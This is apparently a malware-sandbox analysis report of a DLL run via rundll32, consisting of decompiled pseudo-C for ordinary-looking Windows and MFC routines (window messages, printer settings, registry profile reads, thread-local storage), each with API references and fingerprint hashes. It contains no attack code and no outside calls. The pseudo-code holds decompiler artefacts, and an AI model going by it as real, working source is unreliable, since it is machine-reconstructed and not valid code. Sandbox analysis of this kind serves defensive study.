						_v28 = SendMessageA( *(_v32 + 0x94), 0xba, 0, 0);
						_t49 = SendMessageA( *(_v32 + 0x94), 0xb6, 0, _v28);
						 *0x10058ece = 0;
						return _t49;
					}
				}
				return _t38;
			}

APIs

SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 100093A5
SendMessageA.USER32(?,000000B1,?,?), ref: 100093CB
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 100093E5
SendMessageA.USER32(?,000000C2,00000000,?), ref: 10009409
SendMessageA.USER32(?,000000B1,00000000,?), ref: 1000943E
SendMessageA.USER32(00000000,000000B7,00000000,00000000), ref: 10009458
SendMessageA.USER32(?,000000C2,00000000,100295FC), ref: 10009474
SendMessageA.USER32(?,000000BA,00000000,00000000), ref: 1000948D
SendMessageA.USER32(?,000000B6,00000000,?), ref: 100094AB

Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091CA
Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091E4

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$_strlen
String ID:
API String ID: 3697954797-0
Opcode ID: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction ID: 329eb70852e0cb7846d89551eaf01311ead5dc39bdcc3cc6f9670776eeec1b90
Opcode Fuzzy Hash: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction Fuzzy Hash: BE411974A40205AFEB04CBA4CD99FAEB7B5FB4C740F208159FA45AB3D5C775AA02CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013C4D, Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E10013C4D(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E10017BF4(E10028893, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E10013965(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x1002b1d8;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E10013A82( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E100134F9(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E100134F9(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E1000A0A7(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E100174D0(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E10017C60(_t36);
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 10013C54
EnterCriticalSection.KERNEL32(?,00000010,10013E18,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013C65
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013C83
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013CB7
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23
_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction ID: 361604de1dd3242a2b5db774f8c39e7d6c7c8771dcfb3c7945be7f3a81b5ec95
Opcode Fuzzy Hash: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction Fuzzy Hash: 3F317C74500616AFDB20DF65E886C5EBBB5FF04350B21C529F95AAB661CB30ED90CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1000A6E3, Relevance: 12.1, APIs: 8, Instructions: 65
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E1000A6E3(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E10014056(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E10014056( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

APIs

GlobalLock.KERNEL32 ref: 1000A700
lstrcmpA.KERNEL32(?,?), ref: 1000A70C
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 1000A71E
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A73E
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A746
GlobalLock.KERNEL32 ref: 1000A750
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 1000A75D
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 1000A775

Part of subcall function 10014056: GlobalFlags.KERNEL32(?), ref: 10014061
Part of subcall function 10014056: GlobalUnlock.KERNEL32(?,?,?,1000A4C2,?,00000004,1000146F), ref: 10014073
Part of subcall function 10014056: GlobalFree.KERNEL32 ref: 1001407E

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction ID: f32a97280aef975bd063cd01cc2dace1ac46c13f829f9411547ae7bffa227ebc
Opcode Fuzzy Hash: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction Fuzzy Hash: ED11A075500600BBEB22CBBADC89DAF7AFDFB89B807104519F60AD5021DB31DD91DB20

Uniqueness

Uniqueness Score: -1.00%

Function 10013854, Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013854(void* __ecx) {
				struct HDC__* _t18;
				void* _t19;

				_t19 = __ecx;
				 *((intOrPtr*)(_t19 + 8)) = GetSystemMetrics(0xb);
				 *((intOrPtr*)(_t19 + 0xc)) = GetSystemMetrics(0xc);
				 *0x1005aa30 = GetSystemMetrics(2) + 1;
				 *0x1005aa34 = GetSystemMetrics(3) + 1;
				_t18 = GetDC(0);
				 *((intOrPtr*)(_t19 + 0x18)) = GetDeviceCaps(_t18, 0x58);
				 *((intOrPtr*)(_t19 + 0x1c)) = GetDeviceCaps(_t18, 0x5a);
				return ReleaseDC(0, _t18);
			}

0x1001385f
0x10013865
0x1001386c
0x10013874
0x1001387e
0x1001388f
0x10013899
0x100138a1
0x100138ad

APIs

GetSystemMetrics.USER32 ref: 10013861
GetSystemMetrics.USER32 ref: 10013868
GetSystemMetrics.USER32 ref: 1001386F
GetSystemMetrics.USER32 ref: 10013879
GetDC.USER32(00000000), ref: 10013883
GetDeviceCaps.GDI32(00000000,00000058), ref: 10013894
GetDeviceCaps.GDI32(00000000,0000005A), ref: 1001389C
ReleaseDC.USER32 ref: 100138A4

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$Release
String ID:
API String ID: 1151147025-0
Opcode ID: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction ID: d97b14313f3971f9b273ebf2d99ed84bfce9517748686708ee6192b13dda979b
Opcode Fuzzy Hash: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction Fuzzy Hash: CEF03071A40714AFFB20AF728CC9F677BA8EB81B51F11491AE6428B6D0D7B59806CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1000BD98, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E1000BD98(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a264, char _a268) {
				char _v4;
				intOrPtr _v12;
				char* _v16;
				void* _v20;
				char* _v24;
				char _v28;
				long _v32;
				char _v36;
				char _v272;
				char _v280;
				intOrPtr _v292;
				void* __ebp;
				signed int _t40;
				char _t44;
				void* _t47;
				void* _t54;
				char* _t61;
				void* _t77;
				void* _t80;
				void* _t81;
				intOrPtr _t94;
				void* _t98;
				void* _t100;
				void* _t101;
				char* _t104;

				_t95 = __edx;
				_t81 = __ecx;
				_t79 = __ebx;
				_t104 =  &_v272;
				_t40 =  *0x10057a08; // 0xfd220812
				_a264 = _t40 ^ _t104;
				_push(0x18);
				E10017BC1(E10027F63, __ebx, __edi, __esi);
				_t100 = __ecx;
				_v20 = 0;
				_v32 = 0;
				_t44 = E1000BB54(__ecx, __edx);
				_v28 = _t44;
				if(_t44 != 0) {
					do {
						__eax =  &_v28;
						_push(__eax);
						__ecx = __esi;
						E1000BB65();
						__eflags = __eax - __edi;
						if(__eax != __edi) {
							__edx =  *__eax;
							__ecx = __eax;
							__eax =  *((intOrPtr*)(__edx + 0xc))(__edi, 0xfffffffc, __edi, __edi);
						}
						__eflags = _v28 - __edi;
					} while (_v28 != __edi);
				}
				__eflags =  *(_t100 + 0x54);
				if( *(_t100 + 0x54) == 0) {
					L15:
					 *[fs:0x0] = _v12;
					_pop(_t98);
					_pop(_t101);
					_pop(_t80);
					_t47 = E100167D5(1, _t80, _a264 ^ _t104, _t95, _t98, _t101);
					__eflags =  &_a268;
					return _t47;
				} else {
					__eflags =  *(_t100 + 0x68);
					__eflags = 0 |  *(_t100 + 0x68) != 0x00000000;
					if(__eflags != 0) {
						_push("Software\\");
						E10009FA3(_t79,  &_v16, 0, _t100, __eflags);
						_v4 = 0;
						E10009F7E(_t79,  &_v16,  *(_t100 + 0x54));
						_push(0x1002a248);
						_push( &_v16);
						_push( &_v36);
						_t54 = E1000BC25(_t79, 0, _t100, __eflags);
						_push( *(_t100 + 0x68));
						_v4 = 1;
						_push(_t54);
						_push( &_v24);
						E1000BC25(_t79, 0, _t100, __eflags);
						_v4 = 3;
						E10009CB7(_v36 + 0xfffffff0, _t95);
						_push( &_v24);
						_push(0x80000001);
						E1000BC89(_t79, 0, 0x80000001, __eflags);
						_t61 = RegOpenKeyA(0x80000001, _v16,  &_v20);
						__eflags = _t61;
						if(_t61 == 0) {
							__eflags = RegEnumKeyA(_v20, 0, _t104, 0x104) - 0x103;
							if(__eflags == 0) {
								_push( &_v16);
								_push(0x80000001);
								E1000BC89(_t79, 0, 0x80000001, __eflags);
							}
							RegCloseKey(_v20);
						}
						RegQueryValueA(0x80000001, _v24, _t104,  &_v32);
						E10009CB7( &(_v24[0xfffffffffffffff0]), _t95);
						__eflags =  &(_v16[0xfffffffffffffff0]);
						E10009CB7( &(_v16[0xfffffffffffffff0]), _t95);
						goto L15;
					} else {
						_push(_t104);
						_push(_t81);
						_v280 = 0x10057298;
						E10017C83( &_v280, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t79, 0, _t100);
						_t94 = E10013965(0x104);
						_v292 = _t94;
						_t77 = 0;
						_v280 = 0;
						if(_t94 != 0) {
							_t77 = E1000CF71(_t94);
						}
						return E10017C60(_t77);
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 1000BDB7
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 1000BE73
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BE8A
RegCloseKey.ADVAPI32(?,?,?,?,?,Software\,00000018), ref: 1000BEA4
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 1000BEB6

Strings

Software\, xrefs: 1000BE0C

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CloseEnumH_prolog3OpenQueryValue
String ID: Software\
API String ID: 3878845136-964853688
Opcode ID: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction ID: bb9b01b2753fba5bda47465ad6778d866e06322e4a0b808ca87f46191af68194
Opcode Fuzzy Hash: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction Fuzzy Hash: 6241AC31900559AFEB11DFA4CC81EFEB7B9EF48390F20052AF552E2294DB74AA45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1000F6F2, Relevance: 10.6, APIs: 7, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000F6F2(intOrPtr* __ecx, signed int _a4) {
				struct HWND__* _v4;
				struct tagMSG* _v8;
				int _v12;
				int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t42;
				struct tagMSG* _t43;
				signed int _t45;
				void* _t48;
				void* _t50;
				int _t53;
				long _t56;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t67;
				void* _t68;

				_t63 = __ecx;
				_t62 = 1;
				_t67 = __ecx;
				_v12 = 1;
				_v16 = 0;
				if((_a4 & 0x00000004) == 0 || (E10012862(__ecx) & 0x10000000) != 0) {
					_t62 = 0;
				}
				_t42 = GetParent( *(_t67 + 0x20));
				 *(_t67 + 0x3c) =  *(_t67 + 0x3c) | 0x00000018;
				_v4 = _t42;
				_t43 = E1000B519(0);
				_t68 = UpdateWindow;
				_v8 = _t43;
				while(1) {
					L14:
					_t73 = _v12;
					if(_v12 == 0) {
						goto L15;
					}
					__eflags = PeekMessageA(_v8, 0, 0, 0, 0);
					if(__eflags != 0) {
						while(1) {
							L15:
							_t45 = E1000B911(_t63, 0, _t67, _t73);
							if(_t45 == 0) {
								break;
							}
							if(_t62 != 0) {
								_t53 = _v8->message;
								if(_t53 == 0x118 || _t53 == 0x104) {
									E100128D7(_t67, 1);
									UpdateWindow( *(_t67 + 0x20));
									_t62 = 0;
								}
							}
							_t64 = _t67;
							_t48 =  *((intOrPtr*)( *_t67 + 0x80))();
							_t79 = _t48;
							if(_t48 == 0) {
								_t39 = _t67 + 0x3c;
								 *_t39 =  *(_t67 + 0x3c) & 0xffffffe7;
								__eflags =  *_t39;
								return  *((intOrPtr*)(_t67 + 0x44));
							} else {
								_t50 = E1000B82B(_t62, _t64, 0, _t67, _t68, _t79, _v8);
								_pop(_t63);
								if(_t50 != 0) {
									_v12 = 1;
									_v16 = 0;
								}
								if(PeekMessageA(_v8, 0, 0, 0, 0) != 0) {
									continue;
								} else {
									goto L14;
								}
							}
						}
						_push(0);
						E1000A5E4();
						return _t45 | 0xffffffff;
					}
					__eflags = _t62;
					if(_t62 != 0) {
						_t63 = _t67;
						E100128D7(_t67, 1);
						UpdateWindow( *(_t67 + 0x20));
						_t62 = 0;
						__eflags = 0;
					}
					__eflags = _a4 & 0x00000001;
					if((_a4 & 0x00000001) == 0) {
						__eflags = _v4;
						if(_v4 != 0) {
							__eflags = _v16;
							if(_v16 == 0) {
								SendMessageA(_v4, 0x121, 0,  *(_t67 + 0x20));
							}
						}
					}
					__eflags = _a4 & 0x00000002;
					if(__eflags != 0) {
						L13:
						_v12 = 0;
						continue;
					} else {
						_t56 = SendMessageA( *(_t67 + 0x20), 0x36a, 0, _v16);
						_v16 = _v16 + 1;
						__eflags = _t56;
						if(__eflags != 0) {
							continue;
						}
						goto L13;
					}
				}
				goto L15;
			}

APIs

GetParent.USER32(?), ref: 1000F720
PeekMessageA.USER32 ref: 1000F747
UpdateWindow.USER32(?), ref: 1000F761
SendMessageA.USER32(?,00000121,00000000,?), ref: 1000F785
SendMessageA.USER32(?,0000036A,00000000,00000004), ref: 1000F79F
UpdateWindow.USER32(?), ref: 1000F7E5
PeekMessageA.USER32 ref: 1000F819

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction ID: ecef1c15dac149fec5e590ec2565d957468d58fa3f8c06f10f68a2e84cd0c50c
Opcode Fuzzy Hash: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction Fuzzy Hash: 3041C1312087429BE711CF258C88A2BBAF4FFC5BD4F10092DF589928A4DB71D946EB53

Uniqueness

Uniqueness Score: -1.00%

Function 1000AE8A, Relevance: 10.6, APIs: 7, Instructions: 111
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000AE8A(int __ebx, long __ecx, struct HWND__* __edi) {
				long _v4;
				char _v28;
				intOrPtr _v40;
				void* __esi;
				void* __ebp;
				long _t20;
				long _t21;
				struct HWND__* _t22;
				long _t23;
				struct HWND__* _t24;
				long _t25;
				struct HWND__* _t26;
				void* _t33;
				void* _t35;
				long _t39;
				long _t41;
				intOrPtr _t43;
				struct HWND__* _t47;
				struct HWND__* _t49;
				long _t51;
				long _t53;

				_t46 = __edi;
				_t39 = __ecx;
				_t37 = __ebx;
				if( *((intOrPtr*)(__ecx + 0x78)) == 0) {
					_t51 = E1000A7CE();
					__eflags = _t51;
					if(_t51 != 0) {
						_t20 =  *((intOrPtr*)( *_t51 + 0x120))();
						__eflags = _t20;
						_t41 = _t51;
						_pop(_t52);
						if(_t20 != 0) {
							_t53 = _t41;
							_t21 =  *(_t53 + 0x64);
							__eflags = _t21;
							if(_t21 == 0) {
								_pop(_t52);
								goto L12;
							} else {
								__eflags = _t21 - 0x3f107;
								if(__eflags != 0) {
									_t35 = E1000D5EC(__ebx, __edi, _t53, __eflags);
									_t21 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t35 + 4)))) + 0xac))( *(_t53 + 0x64), 1);
								}
								return _t21;
							}
						} else {
							L12:
							_push(_t41);
							_push(_t37);
							_push(0);
							_push(_t52);
							_push(_t46);
							_v4 = _t41;
							_t22 = GetCapture();
							_t51 = SendMessageA;
							_t37 = 0x365;
							while(1) {
								_t47 = _t22;
								__eflags = _t47;
								if(_t47 == 0) {
									break;
								}
								_t23 = SendMessageA(_t47, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									L27:
									return _t23;
								} else {
									_t22 = E10010DA7(_t41, _t47, __eflags, _t47);
									continue;
								}
								goto L33;
							}
							_t24 = GetFocus();
							while(1) {
								_t46 = _t24;
								__eflags = _t46;
								if(_t46 == 0) {
									break;
								}
								_t23 = SendMessageA(_t46, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									goto L27;
								} else {
									_t24 = E10010DA7(_t41, _t46, __eflags, _t46);
									continue;
								}
								goto L33;
							}
							_t39 = _v4;
							_t25 = E10010DEC(_t37, _t39, _t46);
							__eflags = _t25;
							if(_t25 != 0) {
								_t26 = GetLastActivePopup( *(_t25 + 0x20));
								while(1) {
									_t49 = _t26;
									__eflags = _t49;
									_push(0);
									if(_t49 == 0) {
										break;
									}
									_t23 = SendMessageA(_t49, _t37, 0, ??);
									__eflags = _t23;
									if(__eflags == 0) {
										_t26 = E10010DA7(_t39, _t49, __eflags, _t49);
										continue;
									}
									goto L27;
								}
								_t23 = SendMessageA( *(_v4 + 0x20), 0x111, 0xe147, ??);
								goto L27;
							} else {
								goto L1;
							}
						}
					} else {
						L1:
						_push(0);
						_push(_t39);
						_v28 = 0x10057298;
						E10017C83( &_v28, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t37, _t46, _t51);
						_t43 = E10013965(0x104);
						_v40 = _t43;
						_t33 = 0;
						_v28 = 0;
						if(_t43 != 0) {
							_t33 = E1000CF71(_t43);
						}
						return E10017C60(_t33);
					}
				} else {
					__eflags = __eax - 0x3f107;
					if(__eax != 0x3f107) {
						return  *((intOrPtr*)( *__ecx + 0xac))(__eax, 1);
					}
					return __eax;
				}
				L33:
			}

APIs

GetCapture.USER32 ref: 10014232
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 1001424B
GetFocus.USER32 ref: 1001425D
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 10014269
GetLastActivePopup.USER32(?), ref: 10014290
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 1001429B
SendMessageA.USER32(?,00000111,0000E147,00000000), ref: 100142BF

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastPopup
String ID:
API String ID: 3219385341-0
Opcode ID: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction ID: 33038f709047c962cd6e8134d606cff9e197d9281aa775ba373aba56dbca1b45
Opcode Fuzzy Hash: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction Fuzzy Hash: D031E331300256EBE611EB24DC84E6E7AEDEF866D5B630629F841DF160CF71ECC19661

Uniqueness

Uniqueness Score: -1.00%

Function 1000FC8A, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000FC8A(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t43;
				struct HWND__* _t48;
				long _t61;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E1000B510();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E1000D61F(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E100174D0(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
